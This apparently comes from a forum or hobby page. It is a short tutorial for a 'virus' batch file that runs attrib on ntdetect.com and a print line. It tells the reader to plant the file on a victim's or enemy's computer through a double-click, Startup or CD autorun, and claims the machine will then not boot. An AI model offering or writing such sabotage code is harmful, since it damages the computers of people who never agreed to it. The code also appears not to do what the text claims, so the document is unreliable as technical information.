The Simple Deadliest Code
open notepad type the code as following -
attrib -r -s -h ntdetect.com
print U r a LOSER RD is a Winner
save this file as virus.bat or any other name with bat extension
Double click it in the victim's computer or Put it in Startup of Ur enemy or put it in a CD and set it in the autorun.
with this activated once the computer will run perfectly !
once shutdowned then it will not start and U will have to format it (Except U know how to use DOS).